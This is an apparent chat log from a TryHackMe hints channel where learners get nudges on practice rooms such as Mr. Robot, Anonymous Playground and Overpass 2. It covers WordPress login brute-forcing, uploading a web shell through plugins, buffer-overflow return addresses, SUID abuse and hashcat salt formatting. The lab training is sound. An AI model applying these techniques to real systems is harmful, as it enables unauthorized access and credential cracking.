ip address is of my VM, that is correct, coz i can see output on immunity debugger. as gatekeeper is not sending response, so there is no output on python

shut pollen Aug 17, 2020, 5:14 PM

#

Any help with Anonymous ?

mint parcel Aug 17, 2020, 5:15 PM

#

you have to be more specific about what's giving you a hard time

trim haven Aug 17, 2020, 5:15 PM

#

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

What room you are on
At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

hasty zodiac Aug 17, 2020, 5:16 PM

#

Anyone who could point me in the right direction with the second key of Mr. Robot CTF?
I don't really know where I could find ||White coloured font||

oblique cliff Aug 17, 2020, 5:25 PM

#

ip address is of my VM, that is correct, coz i can see output on immunity debugger. as gatekeeper is not sending response, so there is no output on python
@keen willow Are you running gatekeeper on your host OS, a VM, or THM

#

Anyone who could point me in the right direction with the second key of Mr. Robot CTF?
I don't really know where I could find ||White coloured font||
@hasty zodiac hey I’d be happy to, could you answer those question jabba just asked so I don’t repeat something you may have already tried?

hasty zodiac Aug 17, 2020, 5:27 PM

#

Well, I can't without really spoiling how to get the first key.

shut pollen Aug 17, 2020, 5:27 PM

#

Need a lil help with the || bOF of Anonymous Playground || , I was able to call the hidden function but || how do I get the shell because everytime I run the binary || , it just prints the message and exits with || Segmentation Fault ||

trim haven Aug 17, 2020, 5:27 PM

#

Blob just means what you have tried for the second key.

oblique cliff Aug 17, 2020, 5:27 PM

#

Spoiler text works fine

keen willow Aug 17, 2020, 5:27 PM

#

@keen willow Are you running gatekeeper on your host OS, a VM, or THM
@oblique cliff running gatekeeper and immunity debugger on VM and connecting it from kali (host)

shut pollen Aug 17, 2020, 5:28 PM

#

@mint parcel

oblique cliff Aug 17, 2020, 5:28 PM

#

Blob just means what you have tried for the second key.
@trim haven you finally called me blob! 😍😍😭😭😭😭😭😱😭

trim haven Aug 17, 2020, 5:28 PM

#

Oh, it seems I have.

hasty zodiac Aug 17, 2020, 5:28 PM

#

Well, checking through every command and page source.

mint parcel Aug 17, 2020, 5:28 PM

#

@shut pollen ?

oblique cliff Aug 17, 2020, 5:28 PM

#

@keen willow can you dm me. A bit cluttered in here

hasty zodiac Aug 17, 2020, 5:28 PM

#

And looked through the other file next to the one containing the first key

oblique cliff Aug 17, 2020, 5:29 PM

#

Did you directory bust?

hasty zodiac Aug 17, 2020, 5:29 PM

#

oh shoot

oblique cliff Aug 17, 2020, 5:29 PM

#

Yep all good so far. Enumerate the possible subdirectories?

shut pollen Aug 17, 2020, 5:29 PM

#

@mint parcel > you have to be more specific about what's giving you a hard time

Help with Anonymous ?

oblique cliff Aug 17, 2020, 5:29 PM

#

🙂

hasty zodiac Aug 17, 2020, 5:29 PM

#

Forgot about that... thanks... I'll try that!

#

guess it's the ||wp-login|| LaughPepe

oblique cliff Aug 17, 2020, 5:31 PM

#

Wouldn’t be a bad place to start

mint parcel Aug 17, 2020, 5:32 PM

#

@shut pollen hmm.. i had the same problem... If i recall correctly,|| if you call the function address it just exit without getting a shell... try pointing it to the next instruction||

shut pollen Aug 17, 2020, 5:34 PM

#

|| Instructions as in the c*****sh function ? ||

hasty zodiac Aug 17, 2020, 5:34 PM

#

I don't feel like that's supposed to be part of the experience though, Blob.

oblique cliff Aug 17, 2020, 5:35 PM

#

You don’t think a Wordpress subdirectory that’s been set up on a purposely vulnerable box is part of the experience of pwning the box...?

hasty zodiac Aug 17, 2020, 5:35 PM

#

Well, that indeed sounds foolish.

oblique cliff Aug 17, 2020, 5:35 PM

#

Haha

#

I promise it’s part of it 🙂

hasty zodiac Aug 17, 2020, 5:36 PM

#

Just a quick thing.

#

I don't have to do wp-scan right?

#

peperun

oblique cliff Aug 17, 2020, 5:36 PM

#

Is that wp’s brute forcer tool?

hasty zodiac Aug 17, 2020, 5:37 PM

#

finds vulns in WP

oblique cliff Aug 17, 2020, 5:37 PM

#

No

hasty zodiac Aug 17, 2020, 5:37 PM

#

lets say in outdated versions, plugins, etc

oblique cliff Aug 17, 2020, 5:37 PM

#

You don’t need that

hasty zodiac Aug 17, 2020, 5:37 PM

#

alright

#

ooo, found interesting stuff

#

I'm now at ||another key?||

arctic crystal Aug 17, 2020, 5:46 PM

#

@hasty zodiac you are going right way keep working in that direction

hasty zodiac Aug 17, 2020, 5:46 PM

#

hmm

#

problem is the direction

arctic crystal Aug 17, 2020, 5:46 PM

#

you may have got the first key I assume?

hasty zodiac Aug 17, 2020, 5:47 PM

#

yeah

#

wait

#

the other file

arctic crystal Aug 17, 2020, 5:47 PM

#

ya check that

hasty zodiac Aug 17, 2020, 5:52 PM

#

hmm

#

dunno if I'm just dumb

oblique cliff Aug 17, 2020, 5:59 PM

#

youre not

#

the box isnt easy

#

what have you tried, what are you stuck on, etc?

hasty zodiac Aug 17, 2020, 6:05 PM

#

||another key?|| | looked through the other file ||fsocity.dic|| using keywords

arctic crystal Aug 17, 2020, 6:06 PM

#

here is a hint for you
you won't get other two keys unless you get a shell on the target machine

#

there is no second key hidden in web pages

hasty zodiac Aug 17, 2020, 6:06 PM

#

god damn it

arctic crystal Aug 17, 2020, 6:06 PM

#

you need to find your way in

hasty zodiac Aug 17, 2020, 6:08 PM

#

||so basically upload a shell||

oblique cliff Aug 17, 2020, 6:09 PM

#

not sure how many CTFs you done, but wordpress usually requires credentials to get access and then upload a shell

#

work on getting the credentials 🙂

hasty zodiac Aug 17, 2020, 6:09 PM

#

yeah I have access

#

I just didnt know I needed to get into the box

#

||I can just add a shell through plugins, right?||

oblique cliff Aug 17, 2020, 6:09 PM

#

yes

#

several ways to do it

arctic crystal Aug 17, 2020, 6:11 PM

#

just google wordpress reverse shell you'll find many articles on how to do it

hasty zodiac Aug 17, 2020, 6:12 PM

#

imma just upload a b374k shell pepesweat

keen willow Aug 17, 2020, 6:19 PM

#

@keen willow can you dm me. A bit cluttered in here
@oblique cliff thanks for help 👍

hasty zodiac Aug 17, 2020, 6:20 PM

#

hello there person who found me.

oblique cliff Aug 17, 2020, 6:23 PM

#

youre welcome 🙂

mossy ermine Aug 17, 2020, 6:23 PM

#

Hi! I've found myself stucked at the beginning of the wgel ctf room. I bruteforced all the directories and I tried to find an exploit for the apache version running but It doesn't work. Any hint would be very appreciated 😋

hasty zodiac Aug 17, 2020, 6:23 PM

#

Yeah, thanks. It was a misleading hint for the second key imo anipepehands

oblique cliff Aug 17, 2020, 6:23 PM

#

indeed

hasty zodiac Aug 17, 2020, 6:24 PM

#

now I just need to dig up the keys

oblique cliff Aug 17, 2020, 6:24 PM

#

Hi! I've found myself stucked at the beginning of the wgel ctf room. I bruteforced all the directories and I tried to find an exploit for the apache version running but It doesn't work. Any hint would be very appreciated 😋
@mossy ermine did you find anything when directory busting?

mossy ermine Aug 17, 2020, 6:26 PM

#

@mossy ermine did you find anything when directory busting?
@oblique cliff The most interesting things are || /sitemap || and || sitemap/images sitemap/sass /sitemap/fonts sitemap/js sitemap/css ||

#

The other results are html pages for a site template

oblique cliff Aug 17, 2020, 6:27 PM

#

try directory busting again on that interesting thing

#

you're also missing something when it comes to the apache page 🙂

tepid flame Aug 17, 2020, 6:29 PM

#

Hey, I think I might have found an issue with one of the rooms. Can anyone confirm?

oblique cliff Aug 17, 2020, 6:29 PM

#

#site-bugs @tepid flame

#

preferably with screenshots and a detailed description of the issue

tepid flame Aug 17, 2020, 6:29 PM

#

alright, thanks you.

hasty zodiac Aug 17, 2020, 6:31 PM

#

damn, I do need privilege escalation 😦

oblique cliff Aug 17, 2020, 6:32 PM

#

yes.

hasty zodiac Aug 17, 2020, 6:40 PM

#

2nd key done party

oblique cliff Aug 17, 2020, 6:40 PM

#

🔥

hasty zodiac Aug 17, 2020, 6:41 PM

#

3rd key was easier

#

the biggest struggle was the second key smh

#

thought it all had to do something with the webapp

mossy ermine Aug 17, 2020, 6:42 PM

#

@> you're also missing something when it comes to the apache page 🙂
@oblique cliff done. Got the || username || on || index.html || but I really don't find any other subdirs of || sitemap || . I tried all the directories lists that come pre-installed on kali linux

hasty zodiac Aug 17, 2020, 6:43 PM

#

only got 90 points? others got 210 anipepehands

oblique cliff Aug 17, 2020, 6:43 PM

#

hmmmm are you sure you directory busted properly...?

#

you should definitely be finding something else

mossy ermine Aug 17, 2020, 6:44 PM

#

Oh > hmmmm are you sure you directory busted properly...?
@oblique cliff Wait, I realized only now that there's another directory on kali that contains dir lists. I'm going to check with them

oblique cliff Aug 17, 2020, 6:45 PM

#

kekw

hasty zodiac Aug 17, 2020, 6:46 PM

#

honestly idk if I'm ready for another one

#

any good rooms?

mossy ermine Aug 17, 2020, 6:47 PM

#

@oblique cliff Lol, damn the || .ssh || directory

stuck fractal Aug 17, 2020, 6:47 PM

#

I'd do some walkthrough rooms tbh

hasty zodiac Aug 17, 2020, 6:47 PM

#

huh?

oblique cliff Aug 17, 2020, 6:51 PM

#

walkthrough rooms

#

rooms that walk you through the tasks and steps

#

to help teach you

#

to inject knowledge into your brain

stuck fractal Aug 17, 2020, 6:51 PM

#

Eg new tools, new vulns

hasty zodiac Aug 17, 2020, 6:52 PM

#

Well, I was asking for any rooms. Even walkthrough ones.
Specific ones.

stuck fractal Aug 17, 2020, 6:52 PM

#

Your dashboard has a few that are suggested

#

In order

hasty zodiac Aug 17, 2020, 6:54 PM

#

Well, I'll go with metasploit then pepeshrug .

jagged scaffold Aug 17, 2020, 7:07 PM

#

hey i'm doing crack the hash room using hashcat ...
and in one question i'm given with 1)hash , 2) salt, 3) rounds
is there any way i could use these 2 extra values to speed up the process ?

trim haven Aug 17, 2020, 7:11 PM

#

Hash = Thing you're cracking
Salt = Thing its encoded with
Rounds = https://security.stackexchange.com/questions/204813/what-are-sha-rounds

#

If you're cracking the hash without formatting the salt etc. you won't get an asnwer

jagged scaffold Aug 17, 2020, 7:18 PM

#

ohkay , i'll try that

#

and any other way to crack the hash of $2y = bycrpt ?? i read that this one takes hell of a time ..

fleet pike Aug 17, 2020, 7:20 PM

#

brypt hacking is pretty horrible

#

its designed to be costly (cpu wise)

stuck fractal Aug 17, 2020, 7:21 PM

#

It's possible

#

Use some logic and only try passwords with the correct length from rockyou

fleet pike Aug 17, 2020, 7:22 PM

#

Also i remember people saying that if a BF takes longer than 10 mins (usually, re: THM rooms) you are doing it wrong... I tried 50k passwrods last night across 12 different accounts and couldn't crack this ssh .. so i think that i'm not supposed to brute force

#

so maybe you want to limit it to the top 100k lines of rockyou?

stuck fractal Aug 17, 2020, 7:27 PM

#

Just filter rockyou down to 4char passwords

jagged scaffold Aug 17, 2020, 7:32 PM

#

system hungup lol

oblique shuttle Aug 17, 2020, 8:20 PM

#

hi all.. trying a buffer overflow but cant overflow the buffer enough to write into eip instruction pointer... I can overwrite ebp basepointer but this get push when the programme tries to return. Anyone got any tips for overflowing to call a specific function address?

white salmon Aug 17, 2020, 8:21 PM

#

Room: https://tryhackme.com/room/jack
Part: User

I'm ||bruting wordpress with 3 users + rockyou.txt|| i still waiting +5min
PD: The tool is ||wpscan||

TryHackMe

TryHackMe | Hacking Training

An online platform for learning and teaching cyber security, all through your browser.

oblique cliff Aug 17, 2020, 8:23 PM

#

hi all.. trying a buffer overflow but cant overflow the buffer enough to write into eip instruction pointer... I can overwrite ebp basepointer but this get push when the programme tries to return. Anyone got any tips for overflowing to call a specific function address?
@oblique shuttle if you can overflow the ebp, you can probably get to the return address. What happens when you try to keep going?

oblique shuttle Aug 17, 2020, 8:25 PM

#

i've tried a massive input (2000 chars) but nothing seems to touch the eip...

oblique cliff Aug 17, 2020, 8:26 PM

#

which room is this?

#

and if you overflow it too much the return address is going to point to a segmentation fault (i think), so you cant just way overshoot and expect your overflow to be in the return address

white salmon Aug 17, 2020, 8:29 PM

#

i've tried a massive input (2000 chars) but nothing seems to touch the eip...
@oblique shuttle run it with breakpoints in debugger? check for bad chars? jump to different address?

oblique shuttle Aug 17, 2020, 8:29 PM

#

@oblique cliff anonymous

oblique cliff Aug 17, 2020, 8:30 PM

#

oh, i havent done that room so idk if he did something screwy with it

white salmon Aug 17, 2020, 8:30 PM

#

try jumping to a different address

#

It worked fine for me

#

You get segfault with ||80 chars||

oblique shuttle Aug 17, 2020, 8:34 PM

#

@white salmon can i dm?

white salmon Aug 17, 2020, 8:34 PM

#

sure

errant monolith Aug 17, 2020, 9:02 PM

#

@stuck fractal thx for the new room it's realy cool ^^

stuck fractal Aug 17, 2020, 9:02 PM

#

You're welcome

somber crag Aug 17, 2020, 9:43 PM

#

yes the foodhold part is really funny, now I am a bit stuck with the privesc :/

stuck fractal Aug 17, 2020, 9:45 PM

#

No hints yet.

somber crag Aug 17, 2020, 9:47 PM

#

I know. Im pretty sure that I am missing smh but I will root it ^^

frail void Aug 17, 2020, 9:51 PM

#

yes the foodhold part is really funny, now I am a bit stuck with the privesc :/
@somber crag Dude same. I've been stuck on it since the day it came out lol. It's driving me a little up the wall. I feel like I'm making a simple mistake but don't know what.

fleet pike Aug 17, 2020, 11:43 PM

#

Ditto

fleet pike Aug 18, 2020, 4:34 AM

#

Okay, i've managed to secure what looks like a plaintext password and username, and hostname... I tried to ssh to the host, and the username and/or password dont jibe.

I added the hosts, and i'm trying to get in, and the server is pretending it does not exist.. like literally, that vhost does not work. I hit the wall

stuck fractal Aug 18, 2020, 4:34 AM

#

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

What room you are on
At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done

fleet pike Aug 18, 2020, 4:38 AM

#

otoh, the url given divulges where the box came from

stuck fractal Aug 18, 2020, 4:39 AM

#

I'll be honest, there's a line between a hints chat and a "I'll talk to myself while working through the box" chat

#

This isn't that second part

fleet pike Aug 18, 2020, 4:40 AM

#

Is there a person responsibel for creating the box, or adapting it to THM

#

(Harder)

stuck fractal Aug 18, 2020, 4:41 AM

#

Yes. The box has a creator

#

It was a rejected HTB box

fleet pike Aug 18, 2020, 4:42 AM

#

I talk in TS, its not the right channel, no hints, no room help. i get it. asides from getting a pointer to Muir for typo correction. I do not know who posted it .. Its very excellent so far, but it has a critical flaw in its port

stuck fractal Aug 18, 2020, 4:42 AM

#

They're also here in the discord

#

If you read the channel topics, they describe exactly what the channels are meant for.

#

If you'd like hints, you'll have to actually ask

steady elm Aug 18, 2020, 7:23 AM

#

I am trying to solve Overpass and after starting backdoor it says started listening at but i am not able to connect to it using netcat. what am i missing?

trim haven Aug 18, 2020, 7:28 AM

#

Starting the backdoor?

#

This is overpass 1 or 2?

steady elm Aug 18, 2020, 7:30 AM

#

overpass 2

#

Starting the backdoor?
@trim haven i think we will use the backdoor to connect to the target

trim haven Aug 18, 2020, 7:31 AM

#

ssh -p 2222 <Machine IP>

steady elm Aug 18, 2020, 7:34 AM

#

so we basically cracked the intruder password and then used the same backdoor which he used to open port and connect to that port using ssh. But i dont know why i thought i could use netcat to connect to that machine port

trim haven Aug 18, 2020, 7:34 AM

#

Aha no

#

It’s an ssh backdoor

#

So you just ssh into it! 😄

cyan token Aug 18, 2020, 9:29 AM

#

Any hints for Overpass root flag? I checked all the basic stuffs i could for priv esc.

trim haven Aug 18, 2020, 9:30 AM

#

Overpass 1?

cyan token Aug 18, 2020, 9:30 AM

#

yes.

trim haven Aug 18, 2020, 9:30 AM

#

Have you ran linpeas on the machine?

#

You need to find out what you can and can’t control

cyan token Aug 18, 2020, 9:30 AM

#

Alright. I'll do that.

lucid crescent Aug 18, 2020, 10:04 AM

#

any hint for cracking salted password in overpass2

cyan token Aug 18, 2020, 10:08 AM

#

Did you check out github source code? See if it is pass+salt or salt+pass? Does hashcat have a mode for it ?

lucid crescent Aug 18, 2020, 10:08 AM

#

ok

#

but i think its password + salt @cyan token

cyan token Aug 18, 2020, 10:10 AM

#

Yup

lucid crescent Aug 18, 2020, 10:13 AM

#

so how do i crack password+salt i couldnt find it from google

cyan token Aug 18, 2020, 10:14 AM

#

I referred this https://robinverton.de/blog/2012/07/15/cracking-salted-md5-with-hashcat/

Cracking salted MD5 with Hashcat

Passionate about security and software.

#

and this https://security.stackexchange.com/questions/204977/hashcat-cracking-a-salted-sha256

Information Security Stack Exchange

hashcat - cracking a salted sha256

Given a SHA512 hash, a salt, and username I am trying to crack the hash using hashcat. Every example I've found used a hashfile as input, is there way to provide salt and hash via commandline witho...

lucid crescent Aug 18, 2020, 10:19 AM

#

@cyan token thats hashcat

#

i said i want to crack it with john

brave bear Aug 18, 2020, 10:21 AM

#

Hi i had a doubt the new overpass2 box i have the user now

lucid crescent Aug 18, 2020, 10:21 AM

#

also i dont thing that hash is md5 @cyan token

cyan token Aug 18, 2020, 10:22 AM

#

yes it's not.

lucid crescent Aug 18, 2020, 10:22 AM

#

so ...

brave bear Aug 18, 2020, 10:22 AM

#

||i found a suid_bash file but to run it you need james password which is in pcap and i used that one and it didnt yield any results is it supposed to be like that||

#

@lucid crescent it is here in this one and you are correct

#

https://hashcat.net/wiki/doku.php?id=example_hashes

#

you can use some tool to figure what algo it is

#

and then look for that + salt mode in this and then use hashcat to crack it

#

||and if i am not wrong you can append the salt with : and also use jtr||

trim haven Aug 18, 2020, 10:25 AM

#

You don’t need any password to run the SUID file

brave bear Aug 18, 2020, 10:25 AM

#

huh

#

for me it prompts it

#

okay i will give it a go again

trim haven Aug 18, 2020, 10:25 AM

#

sudo -l

brave bear Aug 18, 2020, 10:25 AM

#

i cant run that without a password too

trim haven Aug 18, 2020, 10:26 AM

#

I’m 100% sure you don’t need a password for the SUID

brave bear Aug 18, 2020, 10:26 AM

#

i will give it a go

trim haven Aug 18, 2020, 10:27 AM

#

How are you running the file?

brave bear Aug 18, 2020, 10:27 AM

#

sudo file

#

i also tried the full path

trim haven Aug 18, 2020, 10:27 AM

#

Have you tried just

#

./binary

brave bear Aug 18, 2020, 10:28 AM

#

i will give that a go but i think i did and didnt get the shell as root

trim haven Aug 18, 2020, 10:28 AM

#

You’re not meant to

brave bear Aug 18, 2020, 10:28 AM

#

ohhh okaayy

trim haven Aug 18, 2020, 10:28 AM

#

You’re meant to abuse it for privesc

brave bear Aug 18, 2020, 10:28 AM

#

alrightty will give it a go thanks for the help

lucid crescent Aug 18, 2020, 10:36 AM

#

my problem in overpass2$ sudo john --format=sha256:salt --wordlist=ctf/rockyou.txt hashes.hash Unknown ciphertext format name requested

trim haven Aug 18, 2020, 10:36 AM

#

That’s not how you format

#

Usually

#

Also someone have you a hashes website for hashcat...?

#

I mean the error does tell you that the format name is incorrect

lucid crescent Aug 18, 2020, 10:38 AM

#

so how do i crack sha256 + salt in john

brave bear Aug 18, 2020, 10:39 AM

#

i would recommend going with hashcat

lucid crescent Aug 18, 2020, 10:39 AM

#

i need GPU for hashcat

trim haven Aug 18, 2020, 10:39 AM

#

You don’t

brave bear Aug 18, 2020, 10:39 AM

#

you dont

lucid crescent Aug 18, 2020, 10:39 AM

#

so tell me how to run it on CPU

trim haven Aug 18, 2020, 10:39 AM

#

Also everyone has a GPU so that’s not an excuse

brave bear Aug 18, 2020, 10:40 AM

#

it will be faster on a better GPU but that doesnt mean you cant run it

#

also you can downlaod hashcat on your main windows

#

and use that to crack stuff

#

it will be faster but with this one you wont even need to wait that long

dire sail Aug 18, 2020, 10:41 AM

#

Hi. I have a problem in scripting room. When I am trying to connect to the next port on server, it gives me the connection refused error. Tried to google this error and didn't find anything. Can u give some hints on what to check to solve this error?

lucid crescent Aug 18, 2020, 10:42 AM

#

so because i never used hashcat

#

can someone tell me how to do that

brave bear Aug 18, 2020, 10:43 AM

#

hashcat -m modenumber texthashesfile.txt rockyou.txt -O

#

you can remove the -O and add --force i think if i am not wrong

lucid crescent Aug 18, 2020, 10:44 AM

#

||-m sha256($pass.$salt)||

#

correct??

brave bear Aug 18, 2020, 10:44 AM

#

modenumber can be in the doku file i sent

#

nope

#

https://hashcat.net/wiki/doku.php?id=example_hashes

#

look for what you said here

lucid crescent Aug 18, 2020, 10:44 AM

#

whats the problem??

brave bear Aug 18, 2020, 10:44 AM

#

and get the number

#

Hash-Mode

lucid crescent Aug 18, 2020, 10:45 AM

#

||-m 110||

#

correct??

brave bear Aug 18, 2020, 10:45 AM

#

nope thats not what you are looking for in this case

#

thats for sha1

#

you need it for something else

lucid crescent Aug 18, 2020, 10:45 AM

#

hashcat (v5.1.0) starting...

* Device #1: Not a native Intel OpenCL runtime. Expect massive speed loss.
             You can use --force to override, but do not report related errors.
No devices found/left.

Started: Tue Aug 18 11:15:32 2020
Stopped: Tue Aug 18 11:15:32 2020```

brave bear Aug 18, 2020, 10:46 AM

#

add --force at the end

#

and thats not the right mode

#

look for what hash you are cracking

#

and then find its hash-mode

lucid crescent Aug 18, 2020, 10:46 AM

#

||-m 1410||

brave bear Aug 18, 2020, 10:46 AM

#

i cant keep confirming i think

#

cause that would be kinda giving the answer

#

again its not correct if you get this

lucid crescent Aug 18, 2020, 10:48 AM

#

hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz, 4096/13861 MB allocatable, 8MCU

Hashfile 'hash.hash' on line 1 ($6$7GS...VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/): Separator unmatched
No hashes loaded.

Started: Tue Aug 18 11:17:38 2020
Stopped: Tue Aug 18 11:17:38 2020```

#

whats the problem??

brave bear Aug 18, 2020, 10:48 AM

#

wrong mode and wrong algo

#

again research what algo you are cracking and look fro its appropriate hash mode

lucid crescent Aug 18, 2020, 10:49 AM

#

is this ||6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed||a right one??

cyan token Aug 18, 2020, 10:49 AM

#

Look at main.go in github. What algorithm is it ?

brave bear Aug 18, 2020, 10:49 AM

#

i dont remember that on the top of my head and again the hash and salt have to seperated with : and look for the right algo

lucid crescent Aug 18, 2020, 10:52 AM

#

it was ||sha512||

brave bear Aug 18, 2020, 10:52 AM

#

you got it?

lucid crescent Aug 18, 2020, 10:53 AM

#

hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz, 4096/13861 MB allocatable, 8MCU

Hashfile 'hash.hash' on line 1 (bdd04d...7d8391dfc885d0e9b68acd01fc2170e3): Separator unmatched
No hashes loaded.

Started: Tue Aug 18 11:23:05 2020
Stopped: Tue Aug 18 11:23:05 2020```

#

no @brave bear

brave bear Aug 18, 2020, 10:54 AM

#

see the error

#

Separtor isnt there if i am not wrong

sinful plaza Aug 18, 2020, 10:54 AM

#

can someone give me a nudge on the dijinn room do i have to answer all 1000 question??

brave bear Aug 18, 2020, 10:54 AM

#

user or root?

#

and where are you?

#

what have you tried

trim haven Aug 18, 2020, 10:55 AM

#

@lucid crescent Show us the hash.hash file please

lucid crescent Aug 18, 2020, 10:56 AM

#

i cant get whats the problem i copy and paste the hash which wroten in main.go and found that was ||sha512|| and that is ||password + hash||

brave bear Aug 18, 2020, 10:56 AM

#

yeaah but you have to add a seperator

lucid crescent Aug 18, 2020, 10:56 AM

#

||bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3|| @trim haven

brave bear Aug 18, 2020, 10:56 AM

#

yup you dont have the separator for the password and hash

trim haven Aug 18, 2020, 10:56 AM

#

Where the hell is the salt

#

hash:salt

brave bear Aug 18, 2020, 10:57 AM

#

ohh yeaah that too hahah

#

you cant crack a password hashed with salt without the salt

trim haven Aug 18, 2020, 10:57 AM

#

No

#

You need to tell the tool where the salt is

#

I'm 90% sure the salt is there it's just not in the format

lucid crescent Aug 18, 2020, 10:58 AM

#

so can someone say what i need to do

#

i need to define salt??

brave bear Aug 18, 2020, 10:58 AM

#

find the salt

#

||hash:salt||

#

thats how it should be for cracking

lucid crescent Aug 18, 2020, 10:58 AM

#

||1c362db832f3f864c8c2fe05f2002a05|| here is the salt

brave bear Aug 18, 2020, 10:59 AM

#

so add it

#

in the format

#

adn then crack it

lucid crescent Aug 18, 2020, 10:59 AM

#

do i need to edit the hash.hash??

#

or define it in hashcat @brave bear

brave bear Aug 18, 2020, 11:00 AM

#

in hash.hash

lucid crescent Aug 18, 2020, 11:00 AM

#

ok

#

||$ cat hash.hash | grep 1c362db832f3f864c8c2fe05f2002a05|| found nothing in it

trim haven Aug 18, 2020, 11:02 AM

#

wut

#

Why are you doing that

#

Just edit the file

#

and put

lucid crescent Aug 18, 2020, 11:02 AM

#

ok

sinful plaza Aug 18, 2020, 11:02 AM

#

anyone

#

can someone give me a nudge on the dijinn room do i have to answer all 1000 question??

trim haven Aug 18, 2020, 11:02 AM

#

thisisthehash:thisisthesalt

brave bear Aug 18, 2020, 11:02 AM

#

@sinful plaza

#

user or root?
and where are you?
what have you tried

#

You gotta give some context first

#

which step are you at etc.

sinful plaza Aug 18, 2020, 11:03 AM

#

try answering the question but is taking to long

You gotta give some context first
@brave bear

brave bear Aug 18, 2020, 11:04 AM

#

whcih binary again

lucid crescent Aug 18, 2020, 11:04 AM

#

||i found this 14344392|| but it was incorrect

brave bear Aug 18, 2020, 11:04 AM

#

and what have you tried

mossy ermine Aug 18, 2020, 11:04 AM

#

Hey Guys. I would really appreciate any hint on the boiler ctf room. Until now I've enumerated the services and find some directories with dirbuster. I also have a sort of password (not sure) founded on || /joomla/_files/index.html ||
Thank you for your attention 😋 💯

brave bear Aug 18, 2020, 11:04 AM

#

can you show the hash.hash file again dude

sinful plaza Aug 18, 2020, 11:04 AM

#

user or root?
and where are you?
what have you tried
@brave bear user

brave bear Aug 18, 2020, 11:04 AM

#

soo the genie binary

#

you dont have to answer the thing you have to find a certain command that you can use in it

lucid crescent Aug 18, 2020, 11:06 AM

#

||bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3:1c362db832f3f864c8c2fe05f2002a05|| @brave bear

brave bear Aug 18, 2020, 11:06 AM

#

Think about how you can get that command

sinful plaza Aug 18, 2020, 11:07 AM

#

you dont have to answer the thing you have to find a certain command that you can use in it
@brave bear ohh thanks

brave bear Aug 18, 2020, 11:08 AM

#

i think the hash is right

sinful plaza Aug 18, 2020, 11:08 AM

#

Think about how you can get that command
@brave bear sure thanks

cyan token Aug 18, 2020, 11:08 AM

#

Overpass2, how am i supposed to || abuse setuid_bash || ? A realllly tiny tiny bit of hint would be naice.

brave bear Aug 18, 2020, 11:08 AM

#

nvm @lucid crescent i think thats the wrong hash you got there

mossy ermine Aug 18, 2020, 11:12 AM

#

Hey Guys. I would really appreciate any hint on the boiler ctf room. Until now I've enumerated the services and find some directories with dirbuster. I also have a sort of password (not sure) founded on || /joomla/_files/index.html ||
Thank you for your attention 😋 💯
@mossy ermine Just a little up. Really stucked on the last question on task 1

sinful plaza Aug 18, 2020, 11:13 AM

#

Overpass2, how am i supposed to || abuse setuid_bash || ? A realllly tiny tiny bit of hint would be naice.
@cyan token what have u try??

trim haven Aug 18, 2020, 11:13 AM

#

Have you tried running it

cyan token Aug 18, 2020, 11:14 AM

#

After running, I'm still james...

trim haven Aug 18, 2020, 11:14 AM

#

Run it, do you get a prompt?

cyan token Aug 18, 2020, 11:15 AM

#

yes

trim haven Aug 18, 2020, 11:15 AM

#

And have you tried running help

cyan token Aug 18, 2020, 11:15 AM

#

ohkk thanks. I'll figure it out now.

sinful plaza Aug 18, 2020, 11:22 AM

#

@brave bear can i DM

brave bear Aug 18, 2020, 11:22 AM

#

sure

eternal brook Aug 18, 2020, 11:48 AM

#

Hey I think I got a ||sha1 hash || in harder room I'm trying to crack it with hash cat but it's taking a lot of time

#

Does it take long to crack?

lucid crescent Aug 18, 2020, 12:43 PM

#

nvm @lucid crescent i think thats the wrong hash you got there
@brave bear can u tell me which hash i must to crack???

brave bear Aug 18, 2020, 12:43 PM

#

its in the pcap

trim haven Aug 18, 2020, 12:43 PM

#

Are you still on overpass 2?

lucid crescent Aug 18, 2020, 12:43 PM

#

i copied that from main.go file

brave bear Aug 18, 2020, 12:43 PM

#

thats not the one

#

thats the default one

lucid crescent Aug 18, 2020, 12:44 PM

#

Are you still on overpass 2?
@trim haven no, i went to somewhere

trim haven Aug 18, 2020, 12:44 PM

#

I mean you used the right one for hashcat

lucid crescent Aug 18, 2020, 12:44 PM

#

i must to crack james password from pcap right??

trim haven Aug 18, 2020, 12:44 PM

#

No

#

That won't help you

lucid crescent Aug 18, 2020, 12:44 PM

#

its in the pcap
@brave bear he tell

trim haven Aug 18, 2020, 12:45 PM

#

Did you crack the hash for the backdoor?

lucid crescent Aug 18, 2020, 12:45 PM

#

u mean main.go

trim haven Aug 18, 2020, 12:45 PM

#

Task 4 correct?

#

I mean 3

#

SHOOT

#

I mean 2

#

This one Crack the hash using rockyou and a cracking tool of your choice. What's the password?

lucid crescent Aug 18, 2020, 12:45 PM

#

yes

trim haven Aug 18, 2020, 12:46 PM

#

You were using the right hash earlier

#

You're meant to use the one from question 3

#

What was the hash that the attacker used? - go back to the PCAP for this!

lucid crescent Aug 18, 2020, 12:46 PM

#

ok got it

#

but what is the salt?

trim haven Aug 18, 2020, 12:46 PM

#

Then you go to the github to get the salt

#

If you look on hash lists for hashcat, it will say Hashname, hash:salt

#

As the hash is salted

#

You need to store it in the file in that format

#

Then hashcat will recognise that the hash has a salt and will use the salt

lucid crescent Aug 18, 2020, 12:48 PM

#

ok

trim haven Aug 18, 2020, 12:48 PM

